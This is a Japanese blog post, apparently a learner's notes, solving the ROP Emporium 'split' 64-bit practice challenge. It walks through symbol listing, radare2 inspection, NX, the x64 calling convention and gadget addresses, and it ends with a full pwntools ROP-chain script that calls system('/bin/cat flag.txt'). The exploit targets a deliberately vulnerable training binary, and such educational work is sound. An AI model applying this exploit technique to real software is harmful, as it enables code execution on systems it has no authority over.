ROPについて勉強する ~2~
ROPについて勉強する ~2~
前回の続きを解いていく
In this challenge the elements that allowed you to complete the ret2win challenge are still present, they've just been split apart. Find them and recombine them using a short ROP chain.
ret2winで使用した技術を今回も使用できるらしい。
とりあえず前回と同じように解いてみる
まずは動作確認と復習から
動作確認 & 復習
実行する
$ ./split split by ROP Emporium 64bits Contriving a reason to ask user for data... > test Exiting
前回はまずシンボリックリンクから怪しい関数を探した。
今回も探してみる
nm splitの結果
$ nm split 000000000060107a B __bss_start 00000000006010a8 b completed.7585 0000000000601050 D __data_start 0000000000601050 W data_start 0000000000400680 t deregister_tm_clones 0000000000400700 t __do_global_dtors_aux 0000000000600e18 t __do_global_dtors_aux_fini_array_entry 0000000000601058 D __dso_handle 0000000000600e28 d _DYNAMIC 000000000060107a D _edata 00000000006010b0 B _end U fgets@@GLIBC_2.2.5 0000000000400894 T _fini 0000000000400720 t frame_dummy 0000000000600e10 t __frame_dummy_init_array_entry 0000000000400a80 r __FRAME_END__ 0000000000601000 d _GLOBAL_OFFSET_TABLE_ w __gmon_start__ 0000000000400908 r __GNU_EH_FRAME_HDR 00000000004005a0 T _init 0000000000600e18 t __init_array_end 0000000000600e10 t __init_array_start 00000000004008a0 R _IO_stdin_used w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable 0000000000600e20 d __JCR_END__ 0000000000600e20 d __JCR_LIST__ w _Jv_RegisterClasses 0000000000400890 T __libc_csu_fini 0000000000400820 T __libc_csu_init U __libc_start_main@@GLIBC_2.2.5 0000000000400746 T main U memset@@GLIBC_2.2.5 U printf@@GLIBC_2.2.5 U puts@@GLIBC_2.2.5 00000000004007b5 t pwnme 00000000004006c0 t register_tm_clones U setvbuf@@GLIBC_2.2.5 0000000000400650 T _start 00000000006010a0 B stderr@@GLIBC_2.2.5 0000000000601090 B stdin@@GLIBC_2.2.5 0000000000601080 B stdout@@GLIBC_2.2.5 U system@@GLIBC_2.2.5 0000000000601080 D __TMC_END__ 0000000000400807 t usefulFunction 0000000000601060 D usefulString
怪しい関数名が見当たらない・・・?
radare2で確認
[0x00400650]> afl 0x00400048 1 164 fcn.00400048 0x004005a0 3 26 sym._init 0x004005d0 1 6 sym.imp.puts 0x004005e0 1 6 sym.imp.system 0x004005f0 1 6 sym.imp.printf 0x00400600 1 6 sym.imp.memset 0x00400610 1 6 sym.imp.__libc_start_main 0x00400620 1 6 sym.imp.fgets 0x00400630 1 6 sym.imp.setvbuf 0x00400640 1 6 sub.__gmon_start_400640 0x00400650 1 41 entry0 0x00400680 4 50 -> 41 sym.deregister_tm_clones 0x004006c0 4 58 -> 55 sym.register_tm_clones 0x00400700 3 28 sym.__do_global_dtors_aux 0x00400720 4 38 -> 35 entry.init0 0x00400746 1 111 sym.main 0x004007b5 1 82 sym.pwnme 0x00400807 1 17 sym.usefulFunction 0x00400820 4 101 sym.__libc_csu_init 0x00400890 1 2 sym.__libc_csu_fini 0x00400894 1 9 sym._fini
(ret2winにも存在していた)sym.pwn
という関数が存在した。
中を見るとこうなっている
fgets関数を呼んでいる。
解いていく
サイトを読み進めてみると対象のpermissionを確認している
rabin2 -I split
を打つと
nx
部分がtrue
になっている。
nx
は特定のメモリ領域(に置かれたデータ)が実行できるかどうかのビッドで、これが1(true)だとメモリ保護機能が働いており、その場所ではプログラムの実行ができない。
ROPはそれを回避するための技術なのでここがfalse
なら普通にバッファオーバーフローすればよい
さらに
that useful string "/bin/cat flag.txt" is still present in this binary, as is a call to system().
と書いてある。
つまり今回もcatコマンドでflag.txtの中を確認しているらしいことがわかる
x64では以下の要素がわかればflagの中身が見れるそうだ
必要な要素 |
---|
オーバーフローに必要なパディング |
pop rdi; retの命令セット |
flagを表示するコマンド |
systemのアドレス |
pop_rdiの命令セット
とは何かというとsystemに引数を渡すために必要な要素だ。
今回はsystemに引数として任意のアドレスを渡さないといけないので、x64で関数を呼び出しするときは対応する引数のレジスタに値を格納すればよい
syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
---|---|---|---|---|---|---|
%rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
"arg0"は"%rdi"に対応しているのでrdiをpopする命令セットを見つけることで、 スタックの1番上の値をレジスタに入れることができる
これがpop rdi; retの命令セット
が必要な理由である。
第2引数が必要な場合はpop rsi; ret
も探せばいいわけだ
必要な要素を探す
まずはsystemのアドレスを調べる。
radare2で任意の文字列で検索したい場合は
$ izz~文字列
と打てばよい
[0x00400650]> izz~system 010 0x00000420 0x00400420 6 7 (.dynstr) ascii system 062 0x0000199e 0x0000019e 19 20 (.strtab) ascii system@@GLIBC_2.2.5 [0x00400650]> izz~/bin 029 0x000008ff 0x004008ff 7 8 (.rodata) ascii /bin/ls 036 0x00001060 0x00601060 17 18 (.data) ascii /bin/cat flag.txt
このsystemはusefulFunctionという関数の中で動いている
その他の要素は以下のようになってる
padding | pop rdi; retの命令セット | flagを表示するコマンド | systemのアドレス |
---|---|---|---|
"A"*40 | 0x00400883 (r2内で"/a pop rdi; ret") |
0x00601060 ("/bin/cat flag.txt") |
0x00400810 ("call sym.imp.system") |
pwntools
必要な値がわかったので本当に想定通りの動きをするかを確認する
無事flagが入手出来ている。
前回使用できなかったpwntoolの使い方を覚えるためにしっかりスクリプトを書く
from pwn import * padding = 'A' * 40 pop_rdi = p64(0x0400883) first_arg = p64(0x00601060) sys_call = p64(0x00400810) payload = padding + pop_rdi + first_arg + sys_call elf = ELF('split') io = process(elf.path) io.sendline(payload) recv_data = io.recvuntil('}') print(recv_data)
感想
'pop命令の追加→引数の指定→リターンアドレスを書き換え'ということをやった。
このようにROPによって処理を連結させることをROPチェーンを組むという(らしい)が、まだスタックへ積まれることで起こる命令の呼び出しなどの処理についてがスムーズに想像できないので学習が必要だと感じた
参考サイト
http://docs.pwntools.com/en/stable/
https://quentinmeffre.fr/pwn/2017/01/29/ret_to_libc.html
https://medium.com/@int0x33/day-3-rop-emporium-split-64bit-338b5edccf1a